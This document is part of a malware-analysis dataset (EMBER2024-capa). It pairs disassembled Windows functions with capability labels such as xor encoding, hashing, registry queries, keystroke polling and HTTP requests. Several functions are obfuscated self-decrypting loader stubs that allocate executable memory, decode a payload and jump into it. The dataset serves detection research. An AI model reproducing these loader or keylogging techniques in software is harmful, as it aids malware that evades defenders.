joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100259df
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x100259ee
pop dword [ebp - 0x50]
mov eax, 0x100259ee
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3ed0b
push 0
mov eax, 0x2951e72b
sub eax, 0x194f564b
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x48b3
mov esi, eax
mov edx, 0xb7f71c9d
add edx, 0x580d0563
add edx, dword [ebp - 0x50]
mov ebx, 0xe1bf3227
sub dword [ebp - 0x10], 0xccf309dc
mov edi, dword [edx]
sub dword [ebp - 0x14], edx
sub edi, ebx
sub dword [ebp - 0x48], eax
mov dword [esi], edi
xor dword [ebp - 4], ebx
add esi, 0x381a9e31
add esi, 0xc7e561d3
add edx, 4
loop 0x10025a3c
add eax, 0x1159f
mov ebx, eax
add eax, 0xeacdd1ac
add eax, 0x15322e59
mov ecx, 0xd144b996
sub ecx, 0xc144b996
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1000d0c3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x1000d0d2
pop dword [ebp - 0x48]
mov eax, 0x5b0ba7a3
sub eax, 0x4b0ad6d1
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x2564602d
add dword [ebp - 0x58], 0x28ede51e
mov dword [ebp - 0x54], 0xd5318356
add dword [ebp - 0x54], 0x5d01c8ef
mov dword [ebp - 0x50], 0x6ad4add3
sub dword [ebp - 0x50], 0x1e8869a5
mov dword [ebp - 0x4c], 0x9b6f97be
add dword [ebp - 0x4c], 0x64906842
lea eax, [ebp - 0x58]
push eax
mov eax, 0x5254270e
sub eax, 0x42525606
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0xfa43e9e5
sub dword [ebp - 0x58], 0x85d1808f
mov dword [ebp - 0x54], 0xb894408a
add dword [ebp - 0x54], 0x88d820eb
mov dword [ebp - 0x50], 0x8256bd7a
sub dword [ebp - 0x50], 0x1ee7510e
mov dword [ebp - 0x4c], 0xd761778a
add dword [ebp - 0x4c], 0x289e8876
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0xf032b71c
add eax, 0x1fcf1928
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x39ee9
push 0
call eax
mov ecx, 0x724f4df8
add ecx, 0x8db0f84e
xor ebx, ebx
add ebx, eax
mov esi, 0xffb4062f
sub esi, 0xefb0b62f
add esi, dword [ebp - 0x48]
mov edx, 0x940cb864
sub edx, 0xd2f35b72
add dword [ebp - 4], 0x37df96ca
mov edi, dword [esi]
add dword [ebp - 0x28], edi
xor edi, edx
add dword [ebp - 0x24], edi
mov dword [ebx], edi
add ebx, 0x84120368
sub ebx, 0x84120364
add esi, 4
loop 0x1000d1f6
add eax, 0x1431240a
add eax, 0xebcfe7e1
mov ebx, eax
add eax, 0x3f5bf055
sub eax, 0x3f5bf050
mov ecx, 0xb04517dc
sub ecx, 0xa04517dc
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x1000d45b
Capabilities:
Hash data using djb2

Disassembly:
movzx eax, word [ecx]
mov edx, 0x1505
push esi
xor esi, esi
jmp 0x1000d475
imul edx, edx, 0x21
movzx eax, ax
xor edx, eax
inc esi
movzx eax, word [ecx + esi*2]
test ax, ax
jne 0x1000d468
imul eax, edx, 0x41c64e6d
imul ecx, edx, 0x10dcd
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret
Function at 0x4022d0
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x38
mov esi, dword [ebp + 8]
mov dword [esp], esi
call sym._ConStreamGetOSHandle
mov dword [esp], eax
mov ebx, eax
call sym._IsConsoleHandle
test eax, eax
je 0x402350
lea eax, [ebp - 0x1e]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._GetConsoleScreenBufferInfo_8
xor eax, eax
sub esp, 8
mov word [ebp - 0x1a], ax
lea eax, [ebp - 0x24]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x1a]
mov dword [esp + 4], 0x20
mov dword [esp + 0xc], eax
movsx eax, word [ebp - 0x1e]
mov dword [esp], ebx
mov dword [esp + 8], eax
call sym._FillConsoleOutputCharacterW_20
mov eax, dword [ebp - 0x1a]
sub esp, 0x14
mov dword [esp + 4], eax
mov dword [esp], ebx
call sym._SetConsoleCursorPosition_8
sub esp, 8
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov dword [esp], ebx
call sym._IsTTYHandle
test eax, eax
je 0x402344
mov dword [esp], esi
mov dword [esp + 4], str.e_2Ke_1G
call sym._ConPuts
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x402590
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
movzx eax, word [ebp + 0x10]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov ebx, dword [ebp + 0x18]
mov dword [esp + 4], 6
mov dword [esp + 0xc], eax
mov eax, esi
shr ax, 4
mov dword [esp], edi
add eax, 1
movzx eax, ax
mov dword [esp + 8], eax
call sym._FindResourceExW_16
sub esp, 0x10
test eax, eax
je 0x402638
mov dword [esp + 4], eax
mov dword [esp], edi
call sym._LoadResource_8
sub esp, 8
test eax, eax
je 0x402638
mov dword [esp], eax
call sym._LockResource_4
sub esp, 4
and esi, 0xf
je 0x40260e
xor edx, edx
lea esi, [esi]
lea esi, [esi]
movzx ecx, word [eax]
add edx, 1
lea eax, [eax + ecx*2 + 2]
cmp esi, edx
jne 0x402600
test ebx, ebx
je 0x402671
movzx esi, word [eax]
cmp ebx, esi
jle 0x402644
test esi, esi
jne 0x40264b
cmp ebx, 1
jg 0x402630
mov eax, esi
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x14
mov eax, dword [ebp + 0x14]
xor edx, edx
mov word [eax], dx
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x14
lea esi, [ebx - 1]
test esi, esi
je 0x40261d
lea edx, [esi + esi]
mov dword [esp + 8], edx
lea edx, [eax + 2]
mov eax, dword [ebp + 0x14]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._memmove
mov eax, dword [ebp + 0x14]
xor ecx, ecx
mov word [eax + esi*2], cx
mov eax, esi
jmp 0x402624
mov ebx, dword [ebp + 0x14]
lea edx, [eax + 2]
mov dword [ebx], edx
movzx eax, word [eax]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret 0x14

Function at 0x403e10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea esi, [ebp + 0xc]
sub esp, 0x10
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll_vfprintf]
call sym._abort
lea esi, [esi]
Function at 0x401000
Capabilities:
Accept command line arguments

Disassembly:
mov eax, dword [0x425634]
push ebx
push ebp
push esi
push edi
push str._JAVA_LAUNCHER_DEBUG
mov dword [0x425638], eax
call fcn.00408d46
xor ebx, ebx
pop ecx
test eax, eax
je 0x401053
push str.Windows_original_main_args:_n
call fcn.00408c02
xor esi, esi
pop ecx
cmp dword [0x425628], ebx
jle 0x401053
mov eax, dword [0x42562c]
push dword [eax + esi*4]
push esi
push str.wwwd_args__d____s_n
call fcn.00408c02
add esp, 0xc
inc esi
cmp esi, dword [0x425628]
jl 0x401034
call dword [sym.imp.kernel32.dll_GetCommandLineA]
push eax
call fcn.0040a533
call fcn.00403941
mov edi, eax
lea eax, [edi*4 + 4]
push eax
call fcn.004039c3
pop ecx
pop ecx
mov esi, eax
call fcn.00403947
xor ecx, ecx
cmp edi, ebx
jle 0x40108d
mov edx, dword [eax + ecx*8]
mov dword [esi + ecx*4], edx
inc ecx
cmp ecx, edi
jl 0x401082
mov eax, dword [str.java]
mov dword [esi + ecx*4], ebx
mov edx, eax
cmp eax, ebx
jne 0x40109d
mov edx, dword [esi]
mov ebp, dword [0x42400c]
cmp ebp, ebx
jne 0x4010a9
mov ebp, dword [esi]
mov eax, dword [0x425420]
push ebx
xor ecx, ecx
inc ecx
push ecx
push ecx
cmp eax, ebx
setne bl
movzx ebx, bl
push ebx
push edx
push ebp
push 0x41c254
push 0x41c244
push dword [0x425424]
push ecx
push eax
push ecx
push esi
push edi
call fcn.00403485
add esp, 0x38
pop edi
pop esi
pop ebp
pop ebx
ret 0x10
Function at 0x403e42
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x424070]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403ee5
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040a533
pop ecx
pop ecx
test eax, eax
je 0x403ece
test ebx, ebx
je 0x403ec2
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.0040a533
pop ecx
pop ecx
test eax, eax
jle 0x403ece
push ebx
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x403e8f
xor edi, edi
cmp ebx, edi
jne 0x403ee9
xor eax, eax
jmp 0x403f55
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403f18
call fcn.00403a2b
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403ee5
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403ee5
call fcn.00403a2b
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403f08
cmp dword [ebp - 0x70], edi
je 0x403f4b
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.00403a0a
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409908
add ebp, 0x9c
leave
ret
Function at 0x409908
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x409912
repz ret
jmp fcn.0041156c

Function at 0x402b18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x402b27
pop dword [ebp - 0x14]
mov eax, 0x12cfadc4
sub eax, 0x128f829d
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x65dd0075
sub dword [ebp - 0x24], 0x178abb2a
mov dword [ebp - 0x20], 0xf455e8f8
add dword [ebp - 0x20], 0x3ddd634d
mov dword [ebp - 0x1c], 0x90f833c7
add dword [ebp - 0x1c], 0xbb541067
mov dword [ebp - 0x18], 0x1822ed57
add dword [ebp - 0x18], 0xe7dd12a9
lea eax, [ebp - 0x24]
push eax
mov eax, 0x1dec47ed
sub eax, 0x1daa1779
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0x72104a06
add dword [ebp - 0x24], 0x2621f50
mov dword [ebp - 0x20], 0xbd0cff5a
add dword [ebp - 0x20], 0x845f621b
mov dword [ebp - 0x1c], 0xd05fa450
add dword [ebp - 0x1c], 0x930fc81c
mov dword [ebp - 0x18], 0x879ebbda
add dword [ebp - 0x18], 0x78614426
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0xefc504b2
sub eax, 0xef82d38e
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x3e578
push 0
call eax
mov ecx, 0x4a8b
xor ebx, ebx
add ebx, eax
mov edx, 0x17550bd1
add edx, 0xe8ee382f
add edx, dword [ebp - 0x14]
mov edi, 0x767fec18
add edi, 0x49213c6b
add dword [ebp - 8], 0xbe8676ac
mov esi, dword [edx]
add dword [ebp - 0xc], 0xcfe8ef4b
xor esi, edi
sub dword [ebp - 4], 0xada5103d
mov dword [ebx], esi
add dword [ebp - 0x10], ebx
add ebx, 0xb7e9826e
sub ebx, 0xb7e9826a
add edx, 0x2e854ca3
sub edx, 0x2e854c9f
loop 0x402c45
add eax, 0x297f1659
sub eax, 0x297df95a
mov ebx, eax
add eax, 5
mov ecx, 0x436d2fcf
sub ecx, 0x432d2fcf
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c
Function at 0x403ad0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x403af9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x403ae4
xor eax, 0xffffffff
pop esi
leave
ret 0xc

Function at 0xdd0dec
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdd0df6
pushal
call 0xdd0dfc
pop ebp
sub ebp, 0x10
sub ebp, 0x9d0dec
jmp 0xdd0e12
mov eax, 0x9d0dec
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cd
mov edx, 0x119a0b9e
xor byte [eax], dl
inc eax
dec ecx
jne 0xdd0e29
jmp 0xdd0e3c
adc eax, 0xa2171553
sahf
sahf
sahf
pop ds
pop ss
mov byte [0x1f9e9e9e], al
pop edi
sahf
sahf
sahf
popfd
push ebx
lcall 0x9eb6, 0x249e9e9e
sahf
sahf
imul edi, dword [ebp + ebx*4 + 0x56], 0x9e921f15
sahf
sahf
popfd
pop ebx
adc edi, edx
mov edx, 0xba9a1762
adc edi, edx
mov edx, 0xba9a1762
mul byte [esi + 4]
mov edi, 0xec6af69e
in eax, 0x9e
lahf
mov dl, 0xba
not byte [eax + 0x763aed89]
wait
sahf
sahf
sahf
ja 0xdd0e3f
sahf
sahf
sahf
retf
Function at 0x1002e160
Capabilities:
Hash data using fnv
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x1013d0b0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0x10], 0x102
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x214], eax
mov dword [eax], 1
je 0x1002e294
push ebx
mov ebx, dword [ebp + 0x14]
push esi
push 0x10
mov dword [ebp - 0x208], ebx
mov esi, ebx
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1b7
or ebx, 0x10000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1d4
mov ebx, esi
or ebx, 0x20000
mov dword [ebp - 0x208], ebx
mov esi, ebx
push 0x12
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x1002e1ef
mov ebx, esi
or ebx, 0x40000
mov dword [ebp - 0x208], ebx
mov eax, dword fs:[0x2c]
mov ecx, dword [0x10143cdc]
push edi
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x10144758]
cmp eax, dword [ecx + 4]
jg 0x1002e2a6
movzx eax, bl
xor eax, 0x811c9dc5
mov edx, dword [0x1014473c]
imul ecx, eax, 0x1000193
movzx eax, bh
xor ecx, eax
movzx eax, byte [ebp - 0x206]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebp - 0x205]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul esi, ecx, 0x1000193
mov ecx, dword [0x10144744]
and esi, dword [0x10144750]
mov edi, dword [ecx + esi*8]
mov eax, edi
nop
cmp edi, edx
jne 0x1002e268
mov ecx, edx
jmp 0x1002e26e
mov ecx, dword [ecx + esi*8 + 4]
mov ecx, dword [ecx]
cmp eax, ecx
je 0x1002e291
cmp dword [eax + 8], ebx
je 0x1002e281
mov eax, dword [eax]
mov ecx, dword [0x10144744]
jmp 0x1002e260
cmp eax, edx
je 0x1002e291
mov eax, dword [ebp - 0x214]
mov dword [eax], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.100055f3
mov esp, ebp
pop ebp
ret 0x20
push 0x10144758
call fcn.10033b50
add esp, 4
cmp dword [0x10144758], 0xffffffff
jne 0x1002e210
mov ecx, 0x80
mov dword [0x10144738], 0
mov esi, 0x100ff040
mov dword [0x1014473c], 0
lea edi, [ebp - 0x204]
mov dword [0x10144740], 0
rep movsd dword es:[edi], dword [esi]
push 0
push 0
mov ecx, 0x1014473c
call fcn.10033b50
push 8
mov ecx, 0x10144738
mov dword [0x1014473c], eax
mov dword [0x10144744], 0
mov dword [0x10144748], 0
mov dword [0x1014474c], 0
mov dword [0x10144738], 0x3f800000
call fcn.10033b50
lea edi, [ebp - 0x204]
jmp 0x1002e340
mov eax, dword [0x1014473c]
mov ecx, 0x1014473c
push edi
mov esi, dword [eax]
mov eax, dword [esi + 4]
push eax
push esi
mov dword [ebp - 0x20c], eax
call fcn.10033b50
mov edx, dword [0x10144740]
mov ecx, 0x15555554
sub ecx, edx
mov dword [ebp - 0x210], eax
cmp ecx, 1
jb 0x1002e3d0
mov ecx, dword [ebp - 0x210]
inc edx
mov dword [0x10144740], edx
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x20c]
mov dword [eax], ecx
mov ecx, 0x10144738
mov eax, dword [0x1014473c]
mov eax, dword [eax]
push eax
add eax, 8
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.10033b50
add edi, 4
lea eax, [ebp - 4]
cmp edi, eax
jne 0x1002e340
push 0x100f22d0
call fcn.10033b50
push 0x10144758
call fcn.10033b50
add esp, 8
jmp 0x1002e210
push str.list_T__too_long
call fcn.10033b50
int3
Function at 0x10033b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x10033b5f
pop dword [ebp - 0x48]
mov eax, 0xa6a5abd5
sub eax, 0x96a27076
sub dword [ebp - 0x48], eax
push 0x40
push 0x1000
push 0x7ef13
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x48]
call dword [eax]
mov ecx, 0x87723a3a
add ecx, 0x788e0f3a
mov edx, eax
mov esi, 0xbef01526
add esi, 0x512638da
add esi, dword [ebp - 0x48]
mov ebx, 0x1ca5c0ee
sub ebx, 0x5887f395
mov dword [ebp - 0x18], 0xdbc48c80
mov edi, dword [esi]
add dword [ebp - 0x18], 0x7b4f94a
sub edi, ebx
xor dword [ebp - 0x14], edi
mov dword [edx], edi
mov dword [ebp - 0xc], 0xb55cc131
add edx, 0x84617ad4
add edx, 0x7b9e8530
add esi, 4
loop 0x10033bb9
add eax, 0xef782502
add eax, 0x1088f3a1
mov ebx, eax
add eax, 5
mov ecx, 0x10eafbee
sub ecx, 0xeafbee
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x1009d6f0
Capabilities:
Prepare http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, ecx
push esi
push edi
lea esi, [ebx + 0x30]
mov ecx, esi
call fcn.100491d0
movzx edi, al
mov ecx, esi
neg edi
sbb edi, edi
and edi, 0x800000
call fcn.100491d0
test al, al
je 0x1009d738
mov eax, dword [ebx]
push 0x800
push 0x54
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x100f4524]
mov ecx, ebx
call esi
lea esi, [ebx + 0x30]
push 0xd
mov ecx, ebx
call fcn.10033b50
cmp dword [ebx + 0x40], 0
je 0x1009d7a0
lea eax, [ebp - 4]
mov ecx, esi
push eax
call fcn.10033b50
push edi
push 0
push 0
push 0
push dword [eax]
push dword [ebx + 0x10]
push dword [ebx + 0x40]
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov ecx, dword [ebp - 4]
mov dword [ebx + 0x44], eax
add ecx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009d791
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
cmp dword [ebx + 0x44], 0
je 0x1009d7a7
push 0xe
mov ecx, ebx
call fcn.10033b50
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x10]
call fcn.10033b50
push 0x10126738
lea eax, [ebp - 0x10]
push eax
call fcn.10033b50
int3
Function at 0x1009db10
Capabilities:
Read http header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeb79
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 4], 1
call fcn.10002710
mov edi, eax
test edi, edi
je 0x1009dc5e
mov eax, dword [edi]
mov esi, dword [eax + 0xc]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 4], 0
push eax
push 0
push dword [ebp + 0x10]
mov dword [ebp - 0x14], 1
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1009dc48
mov esi, dword [ebp - 0x10]
cmp esi, 0xa00000
ja 0x1009dc68
shr esi, 1
sub esi, 1
js 0x1009dc83
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x1009dbe0
push esi
mov ecx, edi
call fcn.10033b50
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x1009dc83
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
push edx
mov word [eax + esi*2], dx
lea eax, [ebp - 0x10]
push eax
push ecx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
mov ecx, dword [edi]
mov esi, eax
test ecx, ecx
je 0x1009dc25
push dword [ecx - 8]
push ecx
call fcn.10033b50
mov ecx, eax
add esp, 8
test ecx, ecx
js 0x1009dc83
mov eax, dword [edi]
cmp ecx, dword [eax - 8]
jg 0x1009dc83
mov dword [eax - 0xc], ecx
xor edx, edx
mov eax, dword [edi]
mov word [eax + ecx*2], dx
test esi, esi
jne 0x1009dc48
push esi
push 0x100f6204
mov ecx, edi
call fcn.10033b50
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
push 0x80004005
call fcn.10033b50
push 0xcaa10024
lea ecx, [ebp - 0x20]
call fcn.10033b50
push 0x1012ad98
lea eax, [ebp - 0x20]
push eax
call fcn.10033b50
push 0x80070057
call fcn.10033b50
int3
Function at 0x1009dc90
Capabilities:
Receive http response

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eeba8
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov edi, dword [ebx + 0x18]
lea esi, [ebx + 0x14]
sub edi, dword [esi]
mov eax, dword [ebp + 8]
add eax, edi
cmp eax, 0xa00000
jg 0x1009dd2a
lea ecx, [ebp - 0xd]
mov byte [ebp - 0xd], 0
push ecx
push esi
push eax
mov ecx, esi
call fcn.10033b50
mov eax, dword [esi]
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp + 8]
add eax, edi
mov dword [ebp - 0x14], 0
push eax
push dword [ebx + 0x44]
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x1009dd45
mov eax, dword [ebp - 0x14]
mov ecx, esi
push esi
add eax, edi
push eax
call fcn.10033b50
push 0xa
mov ecx, ebx
call fcn.10033b50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0xcaa10024
lea ecx, [ebp - 0x24]
call fcn.10033b50
push 0x1012ad98
lea eax, [ebp - 0x24]
push eax
call fcn.10033b50
push 0x100f6204
lea ecx, [ebp - 0x18]
call fcn.10033b50
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x38]
call fcn.10033b50
push 0x1012bb4c
lea eax, [ebp - 0x38]
push eax
call fcn.10033b50
int3
Function at 0x1009e1b0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100eec38
mov eax, dword fs:[0]
push eax
sub esp, 0x30
push ebx
push esi
push edi
mov eax, dword [0x1013d0b0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
lea ecx, [ebx + 0x30]
mov dword [ebx + 4], ebx
call fcn.100493d0
test eax, eax
jne 0x1009e1ed
xor edi, edi
jmp 0x1009e1f7
lea ecx, [ebx + 0x30]
call fcn.100493d0
mov edi, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebx + 0x30]
call fcn.10033b50
mov esi, dword [eax]
mov ecx, 0x101448a8
movzx eax, byte [ebx + 0x3d]
push eax
mov dword [ebp - 4], 0
call fcn.10033b50
push 0
push 0
push 3
push 0
push 0
push edi
push esi
push eax
call dword [sym.imp.WININET.dll_InternetConnectW]
mov ecx, dword [ebp - 0x10]
mov dword [ebx + 0x48], eax
add ecx, 0xfffffff0
mov dword [ebp - 4], 0xffffffff
or eax, 0xffffffff
lock xadd dword [ecx + 0xc], eax
dec eax
test eax, eax
jg 0x1009e25f
mov edi, dword [ecx]
push ecx
mov eax, dword [edi]
mov esi, dword [eax + 4]
mov ecx, esi
call dword [0x100f4524]
mov ecx, edi
call esi
mov eax, dword [ebx + 0x48]
test eax, eax
je 0x1009e292
push 0x1009ea40
push eax
call dword [sym.imp.WININET.dll_InternetSetStatusCallbackW]
cmp eax, 0xffffffff
je 0x1009e2c6
push 2
mov ecx, ebx
call fcn.10033b50
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x100f6204
lea ecx, [ebp - 0x10]
call fcn.10033b50
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.10033b50
push 0x1012bb4c
lea eax, [ebp - 0x28]
push eax
call fcn.10033b50
push 0x100f6204
lea ecx, [ebp - 0x14]
call fcn.10033b50
mov esi, eax
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push eax
lea ecx, [ebp - 0x3c]
call fcn.10033b50
push 0x1012bb4c
lea eax, [ebp - 0x3c]
push eax
call fcn.10033b50
int3